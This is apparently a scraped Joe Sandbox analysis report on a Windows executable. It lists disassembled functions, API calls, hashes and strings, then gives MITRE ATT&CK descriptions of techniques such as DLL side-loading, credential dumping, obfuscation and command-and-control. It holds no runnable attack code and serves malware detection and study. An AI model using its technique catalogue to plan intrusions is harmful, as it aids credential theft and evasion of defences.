Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ___std_exception_copy
String ID: Te9$parse error$parse_error
API String ID: 2659868963-3911243356
Opcode ID: a8abf5e322b904bb3df029666b2eb34c398ef9d2af15825a254042aa79f6de8f
Instruction ID: 352db147d3f11f1bfc49aaa12ad70c345c7202cfb4f574b61a9a28448897c3e5
Opcode Fuzzy Hash: a8abf5e322b904bb3df029666b2eb34c398ef9d2af15825a254042aa79f6de8f
Instruction Fuzzy Hash: CF910271D102088BDB1ADFA8CC85BEDB7B5FF5A310F148618E414BB691E775AA84CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00356190 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00356291
___std_exception_destroy.LIBVCRUNTIME ref: 003562A0

Strings

Te9, xrefs: 00356289
[json.exception., xrefs: 003561E1

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: Te9$[json.exception.
API String ID: 4194217158-3570959056
Opcode ID: cd81e3ee0556c74dfb752473d1117bb762231468ced0938aedec34a2d472ca8b
Instruction ID: 718cfef972f8a1bdd1b5c07a19c8ac73c78fc22174700e07906cd41f90d68824
Opcode Fuzzy Hash: cd81e3ee0556c74dfb752473d1117bb762231468ced0938aedec34a2d472ca8b
Instruction Fuzzy Hash: 2331483060030457CB2AAF28C843F6EB7EAAF54711F544A1DF8459B792DBB4EA8883D0

Uniqueness

Uniqueness Score: -1.00%

Function 00379ABC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00379A6D,00000000,?,003A849C,?,?,?,00379C10,00000004,InitializeCriticalSectionEx,00397E1C,InitializeCriticalSectionEx), ref: 00379AC9
GetLastError.KERNEL32(?,00379A6D,00000000,?,003A849C,?,?,?,00379C10,00000004,InitializeCriticalSectionEx,00397E1C,InitializeCriticalSectionEx,00000000,?,00378A70), ref: 00379AD3
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00379AFB

Strings

api-ms-, xrefs: 00379AE0

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: ca2208af0249eb77a6e8c29887f0694d1a7837c6f6cccffe9e71d3d10215a63d
Instruction ID: f5995e2cff28b9b7e6885b76e81b87f0e65597cc75a251321a9e7889923f1a9a
Opcode Fuzzy Hash: ca2208af0249eb77a6e8c29887f0694d1a7837c6f6cccffe9e71d3d10215a63d
Instruction Fuzzy Hash: 53E04831248348BBDF221B65FC47F583A5CAB00B40F118121F90DA85E1D7779914C554

Uniqueness

Uniqueness Score: -1.00%

Function 00385288 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(145F793C,00000000,00000000,?), ref: 003852EB

Part of subcall function 0038A90C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,003897C0,?,00000000,-00000008), ref: 0038A96D

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0038553D
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00385583
GetLastError.KERNEL32 ref: 00385626

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 46727d9b4869b39f081ef66fe5f0b2545b7097f8b3977f51556429f9854087e2
Instruction ID: 490be997d1658310669bdc7492cb4c7a733b3e3c2ff35e9ec01ee76acdd44cd0
Opcode Fuzzy Hash: 46727d9b4869b39f081ef66fe5f0b2545b7097f8b3977f51556429f9854087e2
Instruction Fuzzy Hash: 59D16C75D046489FCF16DFA8D8809ADBBB9FF09314F28416AE416EB351E630A942CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0038E0CE Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 246COMMONLIBRARYCODE

Download Yara Rule

Strings

w@8, xrefs: 0038E0E3, 0038E1ED, 0038E1EF, 0038E1F0, 0038E227, 0038E33E
w@8, xrefs: 0038E0F6
w@8, xrefs: 0038E278, 0038E2CB, 0038E27B

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: w@8$w@8$w@8
API String ID: 0-3684850163
Opcode ID: a1ff8a993611eab33035f6a17d53c3fef90db2c49b8d76f30211eb1b9ee47c9f
Instruction ID: 0d1078c8936f3c65100f4ddd0f8d3e9c8da578d9378a4497bfb7a93165fa7668
Opcode Fuzzy Hash: a1ff8a993611eab33035f6a17d53c3fef90db2c49b8d76f30211eb1b9ee47c9f
Instruction Fuzzy Hash: E881E274A0035A9FDF22EF95C884ABFBBB8FF45310F1545A9E821A7241D7709E40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00378C67 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00378D2E
___AdjustPointer.LIBCMT ref: 00378D51
___AdjustPointer.LIBCMT ref: 00378DED

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 3915b0be4dc6fb303a80523b208d1640220179db636755df34e436ff7124d8d1
Instruction ID: 8e5a197392e90db4c5df2a3c31416cba4b75e0887eca479958f5128ac133d9c2
Opcode Fuzzy Hash: 3915b0be4dc6fb303a80523b208d1640220179db636755df34e436ff7124d8d1
Instruction Fuzzy Hash: F051F376641602AFDB3B9F14C849BBAB3A5EF50310F15C52DE90D5B6D0EB39AC40C790

Uniqueness

Uniqueness Score: -1.00%

Function 00387407 Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6adef04e8faee3d5b4c39c4d48006f80b92a2e383d85b54fe15ca97bd74673a
Instruction ID: c5ce562cfe313689f0884d826bf924da6592fbd3296929f9ee0110286de3a793
Opcode Fuzzy Hash: b6adef04e8faee3d5b4c39c4d48006f80b92a2e383d85b54fe15ca97bd74673a
Instruction Fuzzy Hash: DA412E72A04704AFD726BF38CC01B5ABFAAEB48710F20866AF055DF681D3B1D941C780

Uniqueness

Uniqueness Score: -1.00%

Function 003898B8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0038A90C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,003897C0,?,00000000,-00000008), ref: 0038A96D

GetLastError.KERNEL32 ref: 0038991C
__dosmaperr.LIBCMT ref: 00389923
GetLastError.KERNEL32(?,?,?,?), ref: 0038995D
__dosmaperr.LIBCMT ref: 00389964

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 4c028ea6da08e95ab1bb453b9b010100174fab6ddae0719c82630970de5eb8d0
Instruction ID: 0ffff38d2469afc5da2e0496a0a4f5f2ae54d8999b4a6bea264ba7dfd5948faf
Opcode Fuzzy Hash: 4c028ea6da08e95ab1bb453b9b010100174fab6ddae0719c82630970de5eb8d0
Instruction Fuzzy Hash: 7221A171600305AFDB22BF668C81B3AB7ADFF05364B19845EF86A9B610DB35EC008790

Uniqueness

Uniqueness Score: -1.00%

Function 0038A9AF Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0038A9B7

Part of subcall function 0038A90C: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,003897C0,?,00000000,-00000008), ref: 0038A96D

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0038A9EF
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0038AA0F

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: e59c1c7e550665651f2cf5e0fb11070987ee6c429cff823d9aa2346725d9f71f
Instruction ID: d23f254b708b3e86555aab703219736a56e769e335e09e4162f9b3bc29162cd2
Opcode Fuzzy Hash: e59c1c7e550665651f2cf5e0fb11070987ee6c429cff823d9aa2346725d9f71f
Instruction Fuzzy Hash: 2611EDF250AB197EB71737B25D8ACAF2E5CCE8439571204A6F902D5201EA389E0083B2

Uniqueness

Uniqueness Score: -1.00%

Function 00393B37 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,0037A97D,00000000,00000000,?,003905EA,00000000,00000001,?,?,?,0038567A,?,00000000,00000000), ref: 00393B4E
GetLastError.KERNEL32(?,003905EA,00000000,00000001,?,?,?,0038567A,?,00000000,00000000,?,?,?,00385C1D,?), ref: 00393B5A

Part of subcall function 00393B20: CloseHandle.KERNEL32(FFFFFFFE,00393B6A,?,003905EA,00000000,00000001,?,?,?,0038567A,?,00000000,00000000,?,?), ref: 00393B30

___initconout.LIBCMT ref: 00393B6A

Part of subcall function 00393ADE: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00393B0D,003905D7,?,?,0038567A,?,00000000,00000000,?), ref: 00393AF1

WriteConsoleW.KERNEL32(00000000,?,0037A97D,00000000,?,003905EA,00000000,00000001,?,?,?,0038567A,?,00000000,00000000,?), ref: 00393B7F

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 718ee88ac003f23ea67571d9dd91f0ba67ceb099b9f665681deea1b65a3bb9ef
Instruction ID: 8c7728bf491d8502ed8f9c4a6d85145769cfbe186d40853c3ba8fa02f2aa995a
Opcode Fuzzy Hash: 718ee88ac003f23ea67571d9dd91f0ba67ceb099b9f665681deea1b65a3bb9ef
Instruction Fuzzy Hash: BBF0C937545218BBCF236FD5DC0AA9E3F2AFB093B1F054415FA1996271C632CA60DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0038B590 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Pp:, xrefs: 0038B5BC
Pp:, xrefs: 0038B862

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: Pp:$Pp:
API String ID: 0-4107611570
Opcode ID: 5314aa7033a982fc3b1682f1a4c5ee3261092e4aa34ec0d0cf9b5d823cb062a5
Instruction ID: dbd009794b235818e122787acdfe73b0abe810b3c0d14d253bf4cfa65f128d18
Opcode Fuzzy Hash: 5314aa7033a982fc3b1682f1a4c5ee3261092e4aa34ec0d0cf9b5d823cb062a5
Instruction Fuzzy Hash: F6B145B2940705AAEB21FFA5DC82FEBB7ECAB04700F1545A5FA15EF186E770D9048B50

Uniqueness

Uniqueness Score: -1.00%

Function 003669D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00366B87

Strings

out_of_range, xrefs: 00366A18
Te9, xrefs: 00366B74

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ___std_exception_copy
String ID: Te9$out_of_range
API String ID: 2659868963-956814458
Opcode ID: 91c6ff3593477473e4bbcf98d3b0a800ad08e6d03e9a1d3e2291ce09eac5338c
Instruction ID: 2edc7024bafe63b285a05de99b50250533cc3a68dc9561c5e5f960a6aaf58fce
Opcode Fuzzy Hash: 91c6ff3593477473e4bbcf98d3b0a800ad08e6d03e9a1d3e2291ce09eac5338c
Instruction Fuzzy Hash: 28512871D102088BDB1EDFA8CC86BEEB775EF55300F10C61CE411BB696D778AA888B50

Uniqueness

Uniqueness Score: -1.00%

Function 00379263 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 00379288

Strings

MOC, xrefs: 0037929A
RCC, xrefs: 003792A2

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: c50455448f6212aefba6dbeb43bbf18c90c9a38ddf061928018d89d8582c6e33
Instruction ID: 816fb405953ca681c1976989ce58dd81ffd8c2673871caa70bf000bc455b5eb0
Opcode Fuzzy Hash: c50455448f6212aefba6dbeb43bbf18c90c9a38ddf061928018d89d8582c6e33
Instruction Fuzzy Hash: 64418871900209AFDF26DF94CC81BAEBBB5BF48314F15829AF908AB261D3399950DF50

Uniqueness

Uniqueness Score: -1.00%

Function 00356470 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 0035647E
___std_exception_destroy.LIBVCRUNTIME ref: 0035648D

Strings

Te9, xrefs: 00356476

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: Te9
API String ID: 4194217158-3548072084
Opcode ID: 276c3ed79ba903fcb1f9c0186ebd5ad7f7b1303dcb56a273e68787e397f27329
Instruction ID: 169bdbfa606ae6c29ed9f70013b6140ccefbccf590dc50631e742ed0110f6eab
Opcode Fuzzy Hash: 276c3ed79ba903fcb1f9c0186ebd5ad7f7b1303dcb56a273e68787e397f27329
Instruction Fuzzy Hash: 99D012B5805B2447DB72AF24E83B88273EC6F153143054D1EE895A760AE7B4EE4C47A0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Gj8P0mbklo.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

